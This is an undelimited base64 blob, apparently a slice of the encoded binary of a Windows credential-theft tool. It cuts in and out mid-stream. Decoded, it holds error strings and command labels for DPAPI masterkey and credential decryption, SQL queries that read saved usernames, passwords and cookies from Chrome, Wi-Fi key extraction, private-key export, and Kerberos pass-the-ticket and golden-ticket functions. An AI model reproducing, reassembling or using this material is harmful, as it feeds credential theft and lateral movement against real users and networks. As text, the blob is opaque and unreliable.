BpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAAAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkACgAAAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAAAAAAAAAcABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHAAYQBzAHMAdwBvAHIAZAAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABoAGEAcwBoADoAIAAAAAAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAAAAAAAAgACgAPwApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwB1AHMAZQByAEgAYQBzAGgACgAAAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAKAAAAAAAAAHAAdgBrAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAUgBTAEEAIABwAHIAaQB2AGEAdABlACAAawBlAHkACgAAAAAAcgBwAGMAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFAAQwAKAAAAAABkAGMAAAAAAGQAbwBtAGEAaQBuAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAASQBuAHAAdQB0ACAAbQBhAHMAdABlAHIAawBlAHkAcwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcwBoAGEAMQAAAAAAAAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABJAG4AcAB1AHQAIABjAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAAAAAA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B2ADIAOgAgACUAUwAKAAAAY29va2llcwBzZWxlY3QgaG9zdF9rZXksIHBhdGgsIG5hbWUsIGNyZWF0aW9uX3V0YywgZXhwaXJlc191dGMsIGVuY3J5cHRlZF92YWx1ZSBmcm9tIGNvb2tpZXMgb3JkZXIgYnkgaG9zdF9rZXksIHBhdGgsIG5hbWUAAAAAAAAAAAAAAAAAAAoASABvAHMAdAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBOAGEAbQBlACAAIAA6ACAAJQAuACoAUwAKAEQAYQB0AGUAcwAgADoAIAAAAAAAAAAAACAALQA+ACAAAAAAAAAAAABDAG8AbwBrAGkAZQA6ACAAJQAuACoAUwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAATgBlAGkAdABoAGUAcgAgAHQAaABlACAAdABhAGIAbABlACAAJwBsAG8AZwBpAG4AcwAnACAAbwByACAAdABoAGUAIAB0AGEAYgBsAGUAIAAnAGMAbwBvAGsAaQBlAHMAJwAgAGUAeABpAHMAdAAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AbwBwAGUAbgBfAHYAMgA6ACAAJQBTACAAKAAlAFMAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAGkAbgBpAHQAaQBhAGwAaQB6AGUAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAEkAbgBwAHUAdAAgACcATABvAGcAaQBuACAARABhAHQAYQAnACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6ACIAJQAlAGwAbwBjAGEAbABhAHAAcABkAGEAdABhACUAJQBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABVAHMAZQByACAARABhAHQAYQBcAEQAZQBmAGEAdQBsAHQAXABMAG8AZwBpAG4AIABEAGEAdABhACIAKQAKAAAAc2VsZWN0IGNvdW50KCopIGZyb20gc3FsaXRlX21hc3RlciB3aGVyZSB0eXBlPSd0YWJsZScgYW5kIG5hbWU9PwAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlAF8AaQBzAFQAYQBiAGwAZQBFAHgAaQBzAHQAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAHMAdABlAHAAOgAgACUAUwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AYgBpAG4AZABfAHQAZQB4AHQAOgAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQBfAGkAcwBUAGEAYgBsAGUARQB4AGkAcwB0ACAAOwAgAHMAcQBsAGkAdABlADMAXwBwAHIAZQBwAGEAcgBlAF8AdgAyADoAIAAlAFMACgAAAAAAAAAAAAAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEwAZQBnAGEAYwB5ACAAQwByAGUAZABlAG4AdABpAGEAbAAoAHMAKQA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAOgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABJAG4AcAB1AHQAIABDAFIARQBEACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAAAAAAAcABvAGwAaQBjAHkAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAG8AbABpAGMAeQAgAEsAZQB5AHMAOgAKAAAAAAAAAAAAIAAgAEEARQBTADEAMgA4ACAAawBlAHkAOgAgAAAAAAAgACAAQQBFAFMAMgA1ADYAIABrAGUAeQA6ACAAAAAAACAAIAA+ACAAQQB0AHQAcgBpAGIAdQB0AGUAIAAlAHUAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABwAG8AbABpAGMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABjAHIAZQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAASQBuAHAAdQB0ACAAQwByAGUAZAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBjAHIAZQBkADoAZgBpAGwAZQApAAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAEhqMWRpUTZrcFV4N1ZDNG0AAAAAAAAAAAAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAByAGEAdwBfAHMAaQBnAG4AYQB0AHUAcgBlAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAEUAWABDAEgAQQBOAEcARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAAAAAAByAGEAdwBfAGUAeABjAGgAYQBuAGcAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABJAG4AcAB1AHQAIABDAEEAUABJACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAAUAByAG8AcABlAHIAdABpAGUAcwA6AAoAAAA2am5rZDVKM1pkUUR0cnN1AAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAAAAHhUNXJaVzVxVlZicnZwdUEAAAAAAAAAAHIAYQB3AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABJAG4AcAB1AHQAIABDAE4ARwAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAG4AYQBtAGUAAAAAAAAAAABQAHIAbwBmAGkAbABlACAAJwAlAHMAJwAKAAoAAAAAAFMAUwBJAEQAAAAAAAAAAAAgACoAIABTAFMASQBEACAAAAAAAAAAAABuAGEAbQBlACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGgAZQB4AAAAaABlAHgAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAA/AAoAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAAAAAIAAqACAAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuADoAIAAlAHMACgAAAAAAZQBuAGMAcgB5AHAAdABpAG8AbgAAAAAAIAAqACAARQBuAGMAcgB5AHAAdABpAG8AbgAgACAAIAAgADoAIAAlAHMACgAAAAAAawBlAHkATQBhAHQAZQByAGkAYQBsAAAAIAAqACAASwBlAHkAIABNAGEAdABlAHIAaQBhAGwAIAAgADoAIAAAAFcARQBQAAAAKABoAGUAeAApACAAAAAAACUALgAqAFMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAaQBmAGkAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwBpAGYAaQAgADsAIABJAG4AcAB1AHQAIABXAGwAYQBuACAAWABNAEwAIABwAHIAbwBmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABOAGEAbQBlAAAAAAAAAAAAQQBjAGMAZQBzAHMAUwB0AHIAaQBuAGcAAAAAAAAAAAAgACoAIABBAGMAYwBlAHMAcwBTAHQAcgBpAG4AZwAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAAAFMAdQBiAHMAYwByAGkAYgBlAHIASQBEAAAAAAAAAAAAIAAqACAAUwB1AGIAcwBjAHIAaQBiAGUAcgBJAEQAIAAgADoAIAAAACUALgAqAHMAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwB3AGEAbgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AHcAYQBuACAAOwAgAEkAbgBwAHUAdAAgAFcAdwBhAG4AIABYAE0ATAAgAHAAcgBvAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEtlcmJlcm9zAAAAAAAAAABwAHQAdAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAGwAaQBzAHQAAAAAAAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAKABzACkAAAAAAGEAcwBrAAAAQQBzAGsAIABvAHIAIABnAGUAdAAgAFQARwBTACAAdABpAGMAawBlAHQAcwAAAAAAdABnAHQAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAAAAAABwAHUAcgBnAGUAAAAAAAAAUAB1AHIAZwBlACAAdABpAGMAawBlAHQAKABzACkAAABnAG8AbABkAGUAbgAAAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAAAAAAHAAdABjAAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAAAAAAAAYwBsAGkAcwB0AAAAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdABzACAAaQBuACAATQBJAFQALwBIAGUAaQBtAGQAYQBsAGwAIABjAGMAYQBjAGgAZQAAAGsAZQByAGIAZQByAG8AcwAAAAAAAAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAACoAIABEAGkAcgBlAGMAdABvAHIAeQA6ACAAJwAlAHMAJwAKAAAAAAAqAC4AawBpAHIAYgBpAAAACgAqACAARgBpAGwAZQA6ACAAJwAlAHMAJwA6ACAAAABPAEsACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABLAGUAcgBiAGUAcgBvAHMAIABUAEcAVAAgAG8AZgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAOgAgAAAAAAAAAAAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAZQB4AHAAbwByAHQAAAAAAAoAWwAlADAAOAB4AF0AIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAA